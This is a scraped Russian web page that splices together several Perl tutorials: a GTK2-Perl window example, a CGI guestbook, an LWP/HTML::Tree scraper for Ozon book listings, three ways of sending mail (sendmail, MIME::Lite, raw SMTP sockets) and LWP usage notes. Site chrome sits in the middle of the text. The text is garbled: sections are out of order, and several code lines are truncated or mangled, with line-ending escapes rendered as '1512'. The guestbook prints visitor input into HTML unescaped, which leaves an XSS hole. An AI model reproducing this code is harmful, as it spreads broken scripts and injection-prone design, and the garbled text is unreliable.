Библиотека GTK+

Изначально библиотека GTK+ была разработана Питером Матисом (Peter Mattis) и Спенсером Кимбелом (Spencer Kimball) для нужд графического редактора GIMP (GNU Image Manipulation Program), но потом была выделена в отдельный проект. Сама библиотека GTK+ написана на C, но существуют языковые привязки (language bindings) и для многих других языков программирования, в их числе и Perl.
Судя по графику релизов и количеству баг-фиксов, проект GTK+ развивается достаточно активными темпами. За время существования проекта вокруг него сформировалось внушительное сообщество, что также является положительным моментом. В настоящее время команда ключевых разработчиков состоит из десяти человек, представляющих такие компании, как Red Hat, Novell и Intel Open Source Technology Center.
Следует отметить хорошую поддержку механизмов интернационализации и локализации: обратите внимание на использование кодировки UTF-8 в примере.
Документация по библиотекам, входящим в состав GTK+, поддерживается в актуальном состоянии, однако тут есть один нюанс. Разработчики языковых привязок зачастую считают документацию по своим интерфейсам "производной" от документации по оригинальным библиотекам GTK+ и поэтому не всегда поддерживают её в актуальном состоянии. Именно такая ситуация наблюдается с Gtk2-Perl.

Минимальное приложение

Продемонстрируем работу Gtk2-Perl на простом примере: окне с кнопкой. Этот пример дает первоначальное представление об API библиотеки и служит своего рода тестом: если программа запустилась, значит все необходимые библиотеки установлены и работают правильно.
Приведенный пример запускается без модификаций как минимум на трёх платформах: Linux, OpenBSD и Windows. Как правило, и с более сложными приложениями проблем не возникает. Итак, исходный код:
#!/usr/bin/perl
# # Александр Симаков, # http://alexander-simakov.blogspot.com/ # # Простейшая программа использующая Gtk2-Perl #
use strict; use warnings;
# Включаем поддержку Unicode use utf8; use encoding 'utf8';
# Загрузка и инициализация библиотеки Gkt2. Инициализация # библиотеки (параметр -init) должна выполняться ровно # один раз. use Gtk2 -init;
sub main() { # Создаем главное окно my $window = Gtk2::Window->new('toplevel');
# Устанавливаем обработчик сигнала закрытия окна $window->signal_connect( delete_event => sub { Gtk2->main_quit } );
# Создаем кнопку my $button = Gtk2::Button->new('Тест');
# Устанавливаем обработчик на кнопку $button->signal_connect( clicked => sub { print("Тест Gtk2-Perl\n"); });
# Помещаем кнопку на окно $window->add($button);
# Делаем окно, а также все дочерние виджеты видимыми $window->show_all();
# Запускаем цикл обработки событий Gtk2->main(); }
main();
Вид приложения в Linux:
Минимальное приложение

Вид приложения в OpenBSD:
Минимальное приложение

Вид приложения в Windows:
Минимальное приложение

Установка в Linux/BSD

Поскольку GTK+ родом из страны UNIX, проблем с её установкой в UNIX-подобных системах обычно не возникает. Вполне может быть, что все необходимые библиотеки и модули у вас уже установлены. Если нет, то наверняка поставщик вашего дистрибутива подготовил пакет со всем необходимым. К примеру, в Mandriva Linux соответствующий пакет называется perl-Gtk2, а в OpenBSD — p5-Gtk2.

Установка в Windows

В Windows всё несколько сложнее. Поскольку Windows-машина с установленным компилятором языка C и необходимым для сборки окружением — это скорее исключение, чем правило, надеяться приходится только на то, что кто-то заботливо скомпилировал для нас все необходимые библиотеки и языковые привязки к ним. Самое интересное, что на момент написания этих строк в ActivePerl, самом популярном Perl-дистрибутиве для Windows, такого пакета нет! Компиляция этого пакета со всеми зависимостями под Windows — нетривиальная и достаточно хлопотная процедура. На сайте Gtk-perl в разделе Win32 Support даются ссылки на альтернативные PPM-репозитории для ActivePerl, однако это тоже не помогает. Что же делать? Обратите внимание на проект Camelbox. Это Perl-дистрибутив под Windows, в состав которого уже включена поддержка самой последней версии GTK+. Если вы хотите использовать ActivePerl, придется приложить дополнительные усилия.

и красиво. Проект GTK+ имеет

В целом, приложения, написанные с использованием GTK+, выглядят довольно современно и красиво. Проект GTK+ имеет давнюю историю и продолжает развиваться. Также стоит отметить хорошую поддержку интернационализации и локализации.
Несколько расстраивают сложности с установкой библиотек и языковых привязок Gtk2-Perl под Windows. Также нужно учитывать, что, в отличие от оригинальной документации по GTK+, документация по Gtk2-perl не всегда актуальна и точна.

Еще один пробел — это отсутствие добротной книги по Gtk2-Perl. Из-за отсутствия книги информацию приходится собирать по крупицам из самых разных источников: оригинальная документация по GTK+, различные tutorial-ы и HOW-TO, сообщения в форумах и т.д.

Гостевая книга из Perl'овки

Дмитрий Лялюев,

Многие начинающие веб-мастера ставят на свои сайты гостевые книги из бесплатных сервисов. Но как же хочется иметь свою собственную!
Собственная гостевая книга, со своим дизайном… Со своим дизайном. Что ж, на самом деле это вовсе не так сложно, как кажется. Давайте разберемся, как написать простую гостевую книгу на Perl.
Итак, прежде всего создаем файлик с именем guestbook.pl. Первая строка нашей гостевой книги будет:
#!/usr/bin/perl
Именно с такой строки начинается любой Perl-скрипт... Или почти с такой, в зависимости от того, где на сервере расположен Perl-интерпертатор.
Затем определим точный путь и имя файла, в котором будут храниться записи гостей нашего сайта:
$file = "/path/to/gb.txt";
Теперь укажем имя файла, из которого будет вызываться скрипт:
$html_file = "guest.shtml";
Так, хорошо… Но только нужно напомнить браузеру, что мы будем выводить HTML-текст, т.е. страничку. Это делается с помощью следующей строки:
print "Content-Type: text/html\n\n";
Обратите внимание на прописные буквы "C" и "T". Они должны быть именно такими, так как это имеет принципиальное значение для браузера.
Для обработки данных, которые передаются из формы, задействуем стандартный модуль CGI:
use CGI qw (:standard); $q=new CGI ();
Затем читаем содержание элемента формы action и заносим эти данные в переменную $action:
$action = $q->param (action);
Проверяем форму на наличие входящих данных, то есть отсылал ли посетитель нам какое-либо сообщение. И если отсылал, то записываем его в файл:
&post if ($action eq 'post');
Обратите внимание, что &post - это вызов подпрограммы post, которая и записывает новое сообщение в файл. Ею мы займемся вплотную чуть позже.
А пока что нам еще нужно вывести страничку с уже оставленными сообщениями. Для этого мы - опять же, немного погодя - создадим другую подпрограмму - view. А в этом месте кода нам необходимо ее вызвать. Делается это следующей строкой:
&view;

Ну вот - каркас готов. Осталось написать подпрограммы записи (post) и просмотра (view) сообщений. Начнем с post.

Объявляем начало подпрограммы:

sub post {

Теперь нужно прочитать содержимое формы и записать его в переменные. Мы уже делали подобное для элемента action немного выше:

$nick = $q->param (nick); $msg = $q->param (msg);

Каждое сообщение в гостевой книге имеет дату. Получим ее:

$date = localtime;

Прежде чем писать программу дальше, нужно хорошо продумать, как будут записываться данные в файл, в каком формате они будут хранится. Я предлагаю достаточно простой способ хранения данных:

Дата1 Ник1 Сообщение1 Дата2 Ник2 Сообщение2 Дата3 Ник3 Сообщение3

Таким образом, каждое сообщение занимает в файле отдельную строку, новые сообщения дописываются в конец файла. Но в этом способе есть свои "подводные камни". Что, если посетитель напишет нам послание на несколько строк? Тогда в файле получится "каша". Поэтому, чтобы ее избежать, лучше заменим признаки конца строки \n на переносы, которые поймет браузер (тег
):

$msg =~ s/\n/
/g;

Теперь у нас есть все необходимые данные. Но прежде чем их записать, нужно их упорядочить, то есть сформировать строку для записи и в ее конец поставить знак перехода на новую строку. При этом необходимо учесть, что символ | является управляющим и для того чтобы отменить его управляющее действие, нужно перед ним поставить знак "\":

$to_base = "$date \|\| $nick \|\| $msg \|\| \n";

Итак, теперь у нас есть готовая для хранения строка. Осталось записать ее в файл. А для этого нужно открыть файл для записи.

Немного отвлекаясь от нашей программы, напомню, что файл можно открыть тремя способами: на чтение, на запись "с нуля" и на дописывание, соответственно с помощью символов и >>. В нашем случае нужно добавлять новое сообщение в конец файла и при этом не удалять старые данные. Итак, открываем файл на дописывание:

open (OUT, ">>$file");

записываем в файл нашу строку:

print OUT $to_base;

и закрываем файл, а заодно и подпрограмму:

close (OUT); }

Нам осталось написать подпрограмму просмотра записей. Объявляем ее начало:

sub view {

Открываем файл на чтение:

open (BASE, "

Читаем содержимое файла в массив @base:

@base = ;

И закрываем файл gb.txt:

close (BASE);

Теперь формируем цикл для чтения содержимого массива @base:

for ($i=$#base; $i>=0; $i--) {

В начале цикла значение переменной $i равно количеству строк в массиве - мы будем читать массив с последней строки. Постепенно уменьшая значение $i до нуля, мы таким образом дойдем до первой записи в файле. Этот метод позволяет добиться "обратного" чтения файла - от самой свежей записи к самой ранней - и последняя добавленная запись будет появляться в самом верху страницы.

Как вы, надеюсь, помните, у нас все данные находятся в строках, причем каждая строка содержит дату, ник "гостя" и его сообщение без переносов строк. Для того чтобы на экране восстановить все "как было", нужно разбить эту строку, на чем цикл и закончится:

($date, $nick, $msg)=split (/ \|\| /, $base [$i]); print "$nick ($date):
$msg

"; }

Итак, все сообщения выведены. Что остается? Внизу, под ними, вывести форму для отправки новых сообщений:

print "

"; }

Остается дизайн. Нет ничего проще. Делаем самую обычную HTML-страничку с таким дизайном, какой вам нравится, и вставляем в то место, где должны быть записи, такой SSI-код:

[an error occurred while processing this directive]

Называем файл так, как указано в переменной $html_file гостевой книги:

guest.shtml

И радуемся, потому что для приема гостей все готово. Напомню только, что это - очень простой вариант гостевой книги. В идеале нужно ввести запрет на HTML-теги, что не очень сложно. Можно еще организовать постраничный вывод записей, скажем, по 10 штук на страничке, картинки-смайлики, административный интерфейс… Давайте сделаем это домашним заданием. А в следующий раз проверим, как вы справились с административным скриптом, и если что-то не получилось, то напишем его вместе.

использования модулей LWP и HTML::Tree

Дмитрий Николаев,
В статье речь пойдёт об использовании модулей и , причём сделано это будет на реальном примере, работу которого Вы можете посмотреть здесь: .
Сама идея написать скриптик - возникла после того, как встал вопрос о том, что раздел "книги" сайта - надоело дополнять/редактировать и т.д. вручную. Захотелось это дело автоматизировать, сделать поиск и т.д. Первая идея, которая возникла, - это было создание мини интернет-магазина, куда вносились бы книги и т.д. Но, это опять таки требовало присутствия человека. И тогда, я подумал, а почему бы не сделать скриптик, который бы скачивал нужную страницу с , парсил бы её, как мне надо, и передавал бы броузеру. Методом решения стали модули(пакеты модулей :)) и .
В данный момент скрипт выполняет следующее: при запросе - "смотрит в свой кэш" и в случае, если ничего там не находит, то производит скачивание нужной страницы с Озона, парсинг её и складирование в кэш + вывод броузеру... Естественно, при парсинге меняются некоторые ссылки, в частности ссылки перехода на следующую страницу результатов поиска и т.д.
Итак, давайте приступим к разбору кода:
1 #!/usr/bin/perl
2 use strict;
# далее грузим модули, которые нам понадобятся

3 use LWP;

4 use CGI;

5 use CGI::Carp qw(fatalsToBrowser);

6 use HTML::TreeBuilder;

7 use Lingua::DetectCharset;

8 use Convert::Cyrillic;

9 use URI::Escape;
10 my $flock_allow=1; # рарешать ли блокировку файлов

11 my $mainhost='http://perl.dp.ua'; # Ваш хост...

12 my $books_cache_dir = 'dir_for_cache'; # директория, в которой будут хранится кэшированные файлы

13 my $coi = new CGI;
14 print $coi->header(); # выводим заголовки

15 if(!(-d "./$books_cache_dir")){ # проверяем существование директории для кэш-файлов

42 my @cache=; # cause the number of searches is small

43 if ($flock_allow){unlockfile('cache_list');} # соответственно - разблокируем

44 close(cache_list);
46 my $cache_time = 604800; # делаем время обновление кэша равным 1-ой неделе

47 my $page = undef;
48 for(my $i=0; $i<=$#cache; $i++){ # перебераем кэш и пытаемся найти нужный файл

49 my $line=$cache[$i];

50 chomp $line;

51 my @temp_cache= split /%unreal_delimiter%/, $line; # разбираем потихоньку информацию
52 if(($temp_cache[1] eq $path)and((int(time())-int($temp_cache[0]))<$cache_time)){ # в случае, если кэш - не старый, то берём его и далее работаем с ним

53 open(cache, '$books_cache_dir/'.$temp_cache[0].'.cache');

54 if ($flock_allow){lockfile('cache');}

55 undef $/;

56 $page=;

57 $/="\n";

58 if ($flock_allow){unlockfile('cache');}

59 close(cache);

60 last;

61 }

62 elsif($temp_cache[1] eq $path){ # в противном случае обновляем этот кэш

63 my $browser = LWP::UserAgent->new(); # Качаем страницу

64 my $response = $browser->get($path,

65 'User-Agent' => 'Mozilla/4.76 [en] (Win98; U)',

66 'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*',

67 'Accept-Charset' => 'iso-8859-1,*,utf-8',

68 'Accept-Language' => 'en-US',

69 ); # Прикидываемся броузером

70 $page = razbor($response->content, $phrase); # razbor - это функция парсинга страницы с Озона, см. ниже

71 while (-e '$books_cache_dir/'.time().'.cache') { sleep(2); } #в случае, если файл существует( два пользовтеля одновременно запросили обновление или добавление), то немного "спим"

72 my $temp_time = time();

73 open(cache, ">$books_cache_dir/".$temp_time.'.cache'); # сохраняем информацию в файл

74 if ($flock_allow){lockfile('cache');}

75 print cache $page;

76 if ($flock_allow){unlockfile('cache');}

77 close(cache);

78 $cache[$i] = join('%unreal_delimiter%',$temp_time,$path, $coi->param('text'))."\n"; unlink($books_cache_dir.'/'.$temp_cache[0].'.cache'); # обновляем информацию, удаляем старый кэш
79 open(cache_list,">$books_cache_dir/list.cache"); # сохраняем список сохранённых страниц

80 if ($flock_allow){lockfile('cache_list');}

81 foreach my $string(@cache){

82 print cache_list $string;

83 }

84 if ($flock_allow){unlockfile('cache_list');}

85 close(cache_list);

86 last;

87 }

88 }
89 unless($page){ # производим новое добавление страницы, которая ранее известна скрипту не была

# Очень всё похоже на вышеописанный процесс обновления кэша, поэтому комментарии здесь излишни

90 my $browser = LWP::UserAgent->new();

91 my $response = $browser->get($path,

92 'User-Agent' => 'Mozilla/4.76 [en] (Win98; U)',

93 'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*',

94 'Accept-Charset' => 'iso-8859-1,*,utf-8',

95 'Accept-Language' => 'en-US',

96 );
97 $page = razbor($response->content, $phrase);
98 while (-e '$books_cache_dir/'.time().'.cache') { sleep(2); }
99 my $temp_time = time();
100 open(cache, ">$books_cache_dir/".$temp_time.'.cache');

101 if ($flock_allow){lockfile('cache');}

102 print cache $page;

103 if ($flock_allow){unlockfile('cache');}

104 close(cache);
105 my $new_cache_string = join('%unreal_delimiter%',$temp_time,$path)."\n";
106 open(cache_list,">>$books_cache_dir/list.cache");

107 if ($flock_allow){lockfile('cache_list');}

108 print cache_list $new_cache_string;

109 if ($flock_allow){unlockfile('cache_list');}

110 close(cache_list);

111 }

112 $phrase = uri_unescape($phrase); # преобразуем escape-последовательности к нормальному виду
113 print "
";

114 print $page;

115 sub razbor(@_){ # функция разбора информации

116 my @arr = @_;

117 my $page = $arr[0]; # получаем содержимое Озоновской страницы

118 my $charset = Lingua::DetectCharset::Detect ($page); # определяем кодировку документа, у Озона она win-1251, но делается это на всякий случай, а вдруг они перейдут на Кои-8 или данные попадают скрипту через какой-нибудь кэш-сервер, который перекодирует документы

119 $page = Convert::Cyrillic::cstocs ($charset, 'win', $page); # преобразуем в кодировку win-1251
120 my $root = HTML::TreeBuilder->new_from_content($page); # создаём объект HTML::TreeBuilder на основании содержания страницы
121 my $text_string2;
122 foreach my $table ($root->look_down(_tag => 'td')){ # ищем столбцы в таблицах и убираем ненужную информацию
123 my $table_html = $table->as_HTML("<>%");

124 if($table_html =~ m%Результаты поиска%ig){

125 $text_string2 = $table_html;

126 }

127 }
128 undef $root;

129 $root = HTML::TreeBuilder->new_from_content($text_string2); # пересоздаём объект на основании исправленных данных
130 my $basic_html = $root->as_HTML("<>%");
131 $basic_html =~ s/#6699cc/#38549C/g; # изменение цвета верхней полосы

132 $basic_html =~ s/#336699/#38549C/g; # изменение цвета верхней полосы

133 $basic_html =~ s/bgcolor="#ffffff"/bgcolor="#F4f4f4"/g; # изменение цвета фона текущей страницы(в ссылках)

134 $basic_html =~ s/bgcolor="White"/bgcolor="#F4f4f4"/ig; # изменение цвета фона страницы

135 $basic_html =~ s%Книгопечатная продукция
%%ig; # убираем лишнюю информацию

136 $basic_html =~ s%Результаты поиска
Найдено (\d+)%%i;

137 $basic_html =~ s%style="padding-top:12;"%%i;

138 undef $root;

139 $root = HTML::TreeBuilder->new_from_content($basic_html);
140 foreach my $a ($root->look_down(_tag => 'a')){ # измененяем ссылки в документе на те, что нам нужно: в случае ссылки на другую страницу - изменяем эту ссылку на ссылку на скрипт; в случае ссылки на книгу подставляем партнёрский идентификатор

141 if($a->attr('href')=~ m/page=(\d+)/){$a->attr('href','http://perl.dp.ua/cgi-bin/book.cgi?text='.$arr[1].'&page='.$1);}

142 else{$a->attr('href','http://ozon.ru'.$a->attr('href')."?partner=d392"); $a->attr('target','_new_'.int(100000*rand()));}

143 }

144 $root->pos(undef);
145 foreach my $img ($root->look_down(_tag => 'img')){ # правим адреса картинок

146 my $temp = $img->attr('src');

147 $temp =~ s%//%/%ig;

148 $img->attr('src','http://ozon.ru'.$temp);

149 }

150 $root->pos(undef);
151 foreach my $td ($root->look_down(_tag => 'td', class => 'salecol')){ # убираем ненужную информацию

152 if($td->as_HTML("<>%") =~ m%buy%){

153 $td->replace_with(' ');

154 }

155 }

156 $root->pos(undef);
157 foreach my $td($root->look_down(_tag => 'table', cellspacing => '1')){

158 if($td->as_HTML("<>%") =~ m%(.*)%){

159 $td->replace_with(' ');

160 }

161 }
162 foreach my $td($root->look_down(_tag => 'table', cellpadding => '3')){

163 if($td->as_HTML("<>%") =~ m%(.*)%){

164 $td->replace_with(' ');

165 }

166 }
167 $text_string2 = $root->as_HTML("<>%"); # выводим получившуюся изменённую страницу. Если не указать параметров "<>%"- то для русского языка будут проблемы в том, что документ будет непонятно в какой кодировке(по крайне мере в этой версии HTML::Tree), хотя для английского языка будет всё ок, хотя автор модуля рекомендует использовать именно так этот метод для совместимости со старыми версиями модуля.
168 return $text_string2;

169 }

170 sub lockfile # функция блокировки файла

171 {

172 my $handle=shift;

173 my $count = 0;

174 until (flock($handle,2)){

175 sleep . 10;

176 if(++$count > 50){

177 print "

Sorry, Server is too busy. Please visit later.

";

178 exit;

179 }

180 }

181 }
182 sub unlockfile # функция разблокировки файла

183 {

184 my $handle=shift;

185 flock($handle,8);

186 }
Итак, вроде с кодом разобрались и нужно отметить, что этот скрипт, кроме его достоинста в том, что он работает и то, что использован как учебный материал, имеет несколько недостатков,.. например то, что, наверное, стоило бы объединить добавление новой страницы и обновление старой в одну функцию, ведь эти две "процедуры" - очень похожи... не очень хорошие игры с пересозданием объектов в функцие "разбора" информации. Также к недостаткам можно отнестито, что сейчас Озон предоставляет доступ к своей базе при помощи XML, и это должно ускорить и упростить работу с Озоном при помощи подобных(отдалённо) скриптов. Остальные баги и недостатки Вы можете обсудить на
Но в целом, скрипт должен быть полезным для начала работы с парсингом html(xml) файлов.

Также, эта статья доступна по адресу:
С уважением,

Дмитрий Николаев

Третий вариант

Наконец, рассмотрим последний вариант. Иногда хочется (или приходится) работать с сервером напрямую, без промежуточных программ. Тогда можно применить способ, описанный ниже.
1. | use IO::Socket; 2. | my $socket = IO::Socket::INET->new ("127.0.0.1:25"); 3. | defined $socket or die "ERROR: $!"; 4. | $socket->print ("HELO1512"); 5. | $r = <$socket>; 6. | $socket->print ("MAIL FROM:John Doe
1512"); 7. | $r = <$socket>; 8. | $socket->print ("RCPT TO:Frank Smith
1512"); 9. | $r = <$socket>; 10.| $socket->print ("DATA1512"); 11.| $r = <$socket>; 12.| $socket->print ("From:John Doe
\nTo:Frank Smith \nSubject:Test.
\n\nIt's just test!!!1512"); 13.| $r = <$socket>; 14.| $socket->print ("\.1512"); 15.| $r = <$socket>; 16.| $socket->print ("QUIT1512"); 17.| $r = <$socket>;
Данный листинг демонстрирует работу с соккетами. Процедура эта непростая, так что обычно стараются обойтись без нее. Но мы для полноты картины рассмотрим и этот вариант отправки писем. Итак, приступим.
Первая строка аналогична предыдущему примеру - с той лишь разницей, что мы используем другой модуль.
Вторая строка создает объект соккета, т. е. соединение с компьютером, IP-адрес которого 127.0.0.1, на 25-й порт. Третьей строкой мы проверяем, установлено ли соединение. Если соединение не установлено, происходит аварийное завершение скрипта.
Теперь - самое главное. В предыдущих примерах мы не формировали заголовок письма - это автоматически делала программа sendmail. Но здесь придется все прописывать собственноручно, в том числе и заголовок.
В четвертой строке серверу передается текст "HELO1512". Это означает, что мы готовы к передаче данных. В пятой строке читаем ответ сервера. Это необходимо для корректного общения с сервером и обработки ошибок (здесь мы это рассматривать не станем - все подробно описано в спецификации протокола). Такая же процедура выполняется после каждой команды серверу.
В шестой строке серверу передается информация о том, от кого поступило письмо; в восьмой - кому это письмо нужно отослать. Внимательно посмотрите на эти строки. Они отличаются от тех, что мы использовали ранее,- потому что мы общаемся с сервером на прямую.
В десятой строке серверу сообщается о том, что мы готовы передавать тело письма. Под телом письма подразумевается не только то, что будет отображаться на экране получателя, но и заголовок. Давайте разобьем эту строку на несколько частей и рассмотрим их более подробно:
From:John Doe \n To:Frank Smith \n Subject:Test.\n\n It's just test!!!1512

Теперь более или менее понятно, что есть что. Единственное замечание: перед собственно письмом должно стоять два \n (обязательно два - иначе сервер не поймет, что здесь начинается письмо).

В строке 14 серверу сообщается об окончании письма. Наконец, в шестнадцатой строке разрывается соединение.

И еще один немаловажный момент. В конце каждой команды ставится последовательность 1512, которая сообщает серверу об окончании данной команды.

* * *

Вот и все. Надеюсь, что помог решить некоторые проблемы тем, кто, начав изучать Perl, уже успел столкнуться с несколькими подводными камнями. В свое время мне никто толком не мог объяснить, как сделать то или другое. Теперь стараюсь помогать тем, у кого возникают вопросы :-)…

document.write('');

Новости мира IT:

02.08 -

01.08 -

31.07 -

Архив новостей

Последние комментарии:

(66)

2 Август, 17:53

(19)

2 Август, 17:51

(34)

2 Август, 15:40

(42)

2 Август, 15:35

(1)

2 Август, 14:54

(3)

2 Август, 14:34

(3)

2 Август, 14:15

(2)

2 Август, 13:34

(7)

2 Август, 13:04

(3)

2 Август, 12:28

BrainBoard.ru

Море работы для программистов, сисадминов, вебмастеров.

Иди и выбирай!

Loading

google.load('search', '1', {language : 'ru'}); google.setOnLoadCallback(function() { var customSearchControl = new google.search.CustomSearchControl('018117224161927867877:xbac02ystjy'); customSearchControl.setResultSetSize(google.search.Search.FILTERED_CSE_RESULTSET); customSearchControl.draw('cse'); }, true);

IT-консалтинг

Software Engineering

Программирование

СУБД

Безопасность

Internet

Сети

Операционные системы

Hardware

PR-акции, размещение рекламы — ,
тел. +7 495 6608306, ICQ 232284597

Пресс-релизы —

This Web server launched on February 24, 1997

Copyright © 1997-2000 CIT, © 2001-2009

Внимание! Любой из материалов, опубликованных на этом сервере, не может быть воспроизведен в какой бы то ни было форме и какими бы то ни было средствами без письменного разрешения владельцев авторских прав.

Великолепная на самом современном оборудовании от компании Гардарики.

Три письма на Perl

Дмитрий ЛЯЛЮЕВ,
Те, кто имел дело с Perl, знают, что написание на этом мощном языке программирования скрипта для создания и отправки писем - для начинающего дело достаточно сложное. Мы рассмотрим три варианта таких скриптов

Вариант первый

Итак, первый вариант такого скрипта, самый простой:
1.| open (SENDMAIL, "|/usr/sbin/sendmail -t") 2.| or die "sendmail not ready"; 3.| print SENDMAIL "From: John Doe \n"; 4.| print SENDMAIL "To: Frank Smith \n"; 5.| print SENDMAIL "Reply-To: Frank Smith
\n"; 6.| print SENDMAIL "Subject: Test.\n\n"; 7.| print SENDMAIL "It's just test!!!"; 8.| close (SENDMAIL)
or warn "sendmail didn't close nicely";
На первый взгляд, ничего сложного. Но давайте присмотримся повнимательнее.
Вначале открываем файл sendmail как поток. Другими словами, подготавливаем программу sendmail к приему данных и присваиваем ей handle SENDMAIL. Надеюсь, вы заметили, что в конце строки нет точки с запятой. Она стоит на следующей строке, так как там стоит условие аварийного завершения скрипта в случае ошибки открытия файла.
В третьей строке мы передаем в sendmail строку "From: your\@email.com\n". Что это значит? Давайте разбирать по порядку. Данная строка содержит информацию, сообщающую почтовому серверу, от кого получено данное письмо. При формировании письма почтовый сервер поместит в поле От: имя и адрес, взятые из этой строки.
Четвертая, пятая и шестая строки, как вы, наверное, догадались, указывают серверу адресата (то есть того, кому нужно ответить на данное письмо) и тему письма.
Седьмая строка скрипта содержит тело сообщения - собственно содержание письма. Таких строк может быть несколько.
Наконец, последняя строка является признаком конца письма и закрывает программу sendmail. В случае некорректного закрытия скрипт запишет предупреждение в лог-файл сервера.
Обратите внимание на то, что перед символом @ обязательно должна стоять обратная косая черта (\). Иначе знак @ будет ошибочно принят за признак массива, что вызовет аварийное завершение скрипта.
Вот и все - письмо отослано. Но вот вопрос: что за \n стоит в конце каждой строки, а в шестой строке - даже дважды? Эта последовательность обозначает перевод строки в Unix-подобных системах. В данном же случае она представляет собой ни что иное как конец команды. В шестой она повторяется дважды, чтобы сообщить серверу, что команды закончились и дальше идет тело письма.
Вариант второй
Второй вариант скрипта для отправки писем является модульным. Его несколько сложнее устанавливать, зато удобнее использовать.
Для того чтобы пользоваться этим скриптом дома, вам необходимо установить модуль MIME::Lite, который, как и многие другие модули для Перла, можно скачать из архива по адресу .
Скачав и установив MIME::Lite, приступаем к разбору скрипта:
1.| use MIME::Lite; 2.| $msg = MIME::Lite->new ( 3.| From =>'John Doe ', 4.| To =>'Frank Smith ', 5.| Subject =>'Test.', 6.| Data =>"It's just test!!!" 7.| ); 8.| $msg->send;

Первая строка подключает необходимый нам модуль MIME::Lite. Вторая создает объект сообщения с параметрами, указанными в строках 3-7.

Назначение третьей, четвертой, пятой и шестой строк нам уже известно из предыдущего скрипта. С небольшими изменениями: строки взяты не в двойные, а в одинарные кавычки. Впрочем, это не принципиально. Кроме того, отсутствует обратная косая черта перед символом @ (если строки взяты в двойные кавычки, ее нужно поставить), и в конце строк нет \n. Вот и вся разница.

Но за все приходится платить. Этот вариант нагляднее - но у нас появилась восьмая строка. В ней модулю даются указания о том, что письмо сформировано и что нужно его отправить.

Иногда возникает необходимость отправить сообщение без sendmail, с помощью сторонней программы. В этом случае скрипт нужно несколько изменить. Например, можно использовать nms_sendmail. На его примере и покажем, как это сделать.

8. | $^X =~ /(.+)/ or die; 9. | $mailprog = qq|$1 -wT "nms_sendmail" -oi -t|; 10.| open (SENDMAIL, "|$mailprog"); 11.| $msg->print (\*SENDMAIL); 12.| close (SENDMAIL);

Вместо восьмой строки пишем код, указанный выше. И добавляем строки из документации к nms_sendmail. Как видим, все просто.

Accessing HTTPS URLs

Когда Вы хотите получить доступ к странице через HTTPS, то всё будет работать как и в случае, если бы мы имели дело с обыкновенным HTTP протоколом, если Ваш LWP имеет поддержку HTTPS (через соответствующую Secure Sockets Layer library). Например:
use LWP 5.64; my $url = 'https://www.paypal.com/'; # Yes, HTTPS! my $browser = LWP::UserAgent->new; my $response = $browser->get($url); die "Error at $url\n ", $response->status_line, "\n Aborting" unless $response->is_success; print "Whee, it worked! I got that ", $response->content_type, " document!\n";
Если Ваш LWP не имеет поддержки HTTPS, тогда ответ будет не удачным и Вы получите следующую ошибку:
Error at https://www.paypal.com/ 501 Protocol scheme 'https' is not supported Aborting at paypal.pl line 7. [or whatever program and line]
Если Ваш LWP имеет поддержку HTTPS, тогда ответ должен быть удачным, и Вы должны отработать с $response
как и с клюбым обыкновенным HTTP-ответом.
Для получения информации по установке поддержки HTTPS для LWP прочитайте файл README.SSL, который входит в дистрибутив libwww-perl.

Добавление других заголовков HTTP запроса

Вот наиболее часто используемый синтаксис для запросов $response = $browser->get($url), но, честно говоря, Вы можете добавлять собственные строки HTTP заголовков к запросу, добавлением списка пар ключ-значение после URL, например:
$response = $browser->get( $url, $key1, $value1, $key2, $value2, ... );
Вот как отправить Netscape-подобные заголовки:
my @ns_headers = ( 'User-Agent' => 'Mozilla/4.76 [en] (Win98; U)', 'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*', 'Accept-Charset' => 'iso-8859-1,*,utf-8', 'Accept-Language' => 'en-US', );
...
$response = $browser->get($url, @ns_headers);
Если Вы не будете использовать этот массив в дальнейшем, Вы можете поступить следующим образом:
$response = $browser->get($url, 'User-Agent' => 'Mozilla/4.76 [en] (Win98; U)', 'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*', 'Accept-Charset' => 'iso-8859-1,*,utf-8', 'Accept-Language' => 'en-US', );
Если Вы собираетесь изменить только 'User-Agent'-параметры, Вы можете изменить стандартную установку объекта $browser
"libwww-perl/5.65" (или что-то подобное) на всё что Вы хотите, используя соответствующий метод объекта LWP::UserAgent:
$browser->agent('Mozilla/4.76 [en] (Win98; U)');

Доступ к страничкам с помощью LWP::Simple

Если Вы всего лишь хотите получить документ, находящийся по определённому адресу(URL), то самый простой способ сделать это - использовать функции модуля LWP::Simple.
В Perl-скрипте Вы можете сделать это, вызвав функцию get($url). Она попытается вытянуть содержимое этого URL. Если всё отработает нормально, то функция вернёт это содержимое; но если произойдёт какая-нибудь ошибка, то она вернёт undef.
my $url = 'http://freshair.npr.org/dayFA.cfm?todayDate=current'; # Всего лишь для примера: новые записи на /Fresh Air/
use LWP::Simple; my $content = get $url; die "Couldn't get $url" unless defined $content;
# Далее что-нибудь делаем с $content, например:
if($content =~ m/jazz/i) { print "They're talking about jazz today on Fresh Air!\n"; } else { print "Fresh Air is apparently jazzless today.\n"; }
Более удобный вариант функции get
- это getprint, который удобен для простмотра содаржимого страниц через Perl. Если функция getprint может "достать" страничку, адрес которой Вы задали, то она отправляет содержимое в STDOUT; в противном случае, в роли жалобной книги выступает STDERR.
% perl -MLWP::Simple -e "getprint 'http://cpan.org/RECENT'"
Это URL простого текстового файла. В нём содержится список новых файлов на CPAN за последние две недели. Вы легко можете сделать shell-команду, которая, например, будет высылать Вам список новых модулей Acme:::
% perl -MLWP::Simple -e "getprint 'http://cpan.org/RECENT'" \ | grep "/by-module/Acme" | mail -s "New Acme modules! Joy!" $USER
В модуле LWP::Simple
существует ещё несколько довольно полезных функций, включая функцию для выполнения HEAD-запроса для URL (полезна для проверки ссылок или получения даты последней корректировки документа) и две функции для сохранения и зеркалирования URL в локальный файл. Смотрите для более детальной информации, или Главу 2, "Web Основ" Perl & LWP для большего количества примеров.

Другие свойства броузера

Объекты LWP::UserAgent
имеют множество свойст для управления собственной работой.Вот некоторые из них:

$browser->timeout(15): Этот метод устанавливает максимальное количество времени на ожидание ответа сервера. Если по истечении 15 секунд(в данном случае) не будет получено ответа, то броузер прекратит запрос.

